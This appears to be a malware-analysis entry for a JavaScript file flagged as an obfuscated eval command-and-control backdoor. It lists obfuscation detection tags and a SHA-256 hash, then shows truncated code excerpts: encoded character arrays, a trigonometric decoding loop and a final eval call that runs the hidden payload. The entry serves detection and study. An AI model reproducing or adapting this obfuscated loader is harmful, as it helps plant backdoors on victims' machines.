20151217_7fb9d65487b4bf45e6d5caeba3771685.js
obfuscated eval C2 backdoor
Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-2568d4fe649344257ba84f64f765fdfbe06fb37339fa25c971bbfe0ee26cba9d69f
MaleculeO₂(As₄C)H₂(Db₂Po)
Evidence
2:154… 'a','T','(',';','2','=','^','Z',']','$','(','r','7','>','A','2',String.fromCharCode(10),'I','(','T','7','C','q','S','C','(','I','9','"','V',']','O','+',String.fromCharCode(13),'u','b','%','z','4','a','l','0','^','8',']','E','p','m','0','n','_','w','1','w','w','o','?','X','J','m','<','#','b',',','n','S','_','R','6','7','#','_','d','h','A …
2:1854… 'I','Y','V','G','S','Z','{','Q','T','x','t','>','W','[',']','/',String.fromCharCode(92),'7','t','i','!','%',']','/','&','w','*','5','^','_','t','n','U',']','U','h','I','`','H','a','r','A','a','z','b','Y','Q',' ','I','L','<',']','c',')','d','O','j','W','v','%','e …
4:44… lDSkvz){ZjIe=oxLAvVHtarXlVOSNN(ekDOxRfenKr,mMuQzVVZemNUU);FFoFt=ZjIe.toString(VqlDSkvz);return FFoFt;}
5function orueJGNunHVRmSO(aLPPUNxMMaFrHduvr,cazoDrLsmBOFVzQSFWQhVKqtKRqztalSGB,PDqtqRolwlGjBWjYtAqyXvvmMeXQbJnGAIT){eval(aLPPUNxMMaFrHduvr);}
6function nrSPRNASZcSgKKsCyMspouNVphJHxmaHddsTdcZCjIYbiiPZxaessq(pRrTlNUhscNDf,cAqZnDcwipNwzH){ return Uecwxak[vMqCxXki[BMjqV(pRrTlNUhscNDf[cAqZnDcwipNwzH],(19469+887)/727,(2600+380)/298)]];}
7function OciPMqi(NxQpthKpKDLonazPUaLedUQxUgdavbNjMruD) {return !TfTGPGhegfd(ktDntwLkLSjjdwh(NxQpthKpKDLonazPUaLedUQxU …
12:33… FYRLirL,SmmnHmfERma) {BhTOvOEgDRpynr[TrzholFYRLirL]=SmmnHmfERma;}
13var H = new Array();H[0]=[];H[0][0]='d';H[0][1]='a';H[0][2]='d';H[0][3]='a';H[0][4]='46';H[0][5]='3d';H[0][6]='42';H[0][7]='14';H[0][8]='43';H[0][9]='14';H[0][10]='25';H[0][11]='14';H[0][12]='16';H[0][13]='47';H[0][14]='3k';H[0][15]='3d';H[0][16]='44';H[0][17]='3g';H[0][18]='3l';H[0][19]='3g';H[0][20]='49';H[0][21]='3 …
19:30… ],H[4],H[5]];
20var HfnDNiCJc=[];
21function xratELYXXhGMzsChb(VUzaP){EnOOZKUpAzR= '';AcWNMXAfbsS=Math.round((Math.pow(Math.sin(851), 2) + Math.pow(Math.cos(851), 2) - 1));while(true){if (AcWNMXAfbsS >= (1906+32)/323){break;}HfnDNiCJc[AcWNMXAfbsS]=Math.round((Math.pow(Math.sin(389), 2) + Math.pow(Math.cos(389), 2) - 1)); while(true) { if(HfnDNiCJc[AcWNMXAfbsS] > VUzaP[AcWNMXAfbsS].length-(-309+686)/377) { break; } if (OciPMqi(BMjqV(VUzaP[AcWNMXAfbsS][HfnDNiCJc[AcWNMXAfbsS]],(6364+804)/256,(1824+256)/208))) {EnOOZKUpAzR += nrSPRNASZcSgKKsCyMspouNVphJHxmaHddsTdcZCjIYbiiPZxaessq([VUzaP[AcWNMXAfbsS][HfnDNiCJc[AcWNMXAfbsS]]], Math.round((Math.pow(Math.sin(943), 2) + Math.pow(Math.cos(943), 2) - 1)));} HfnDNiCJc[AcWNMXAfbsS]++;}AcWNMXAfbsS++;} return EnOOZKUpAzR}
22var PNHGaEQLfcbhpZmKTEHMxhmhPOINBcynf = 'fthkhxgHcNffinSDMkohQpwzTXWvIcEroZLX';var EFlQEIMAvJTyUmeDtzHawRBiEyhPqmUc = 'lfgaIHmfRnFenCrxRIXjxuDbRhrOWJiamYOe';orueJGNunHVRmSO(xratELYXXhGMzsChb(VUzaP),PNHGaEQLfcbhpZmKTEHMxhmhPOINBcynf,EFlQEIMAvJTyUmeDtzHawRBiEyhPqmUc);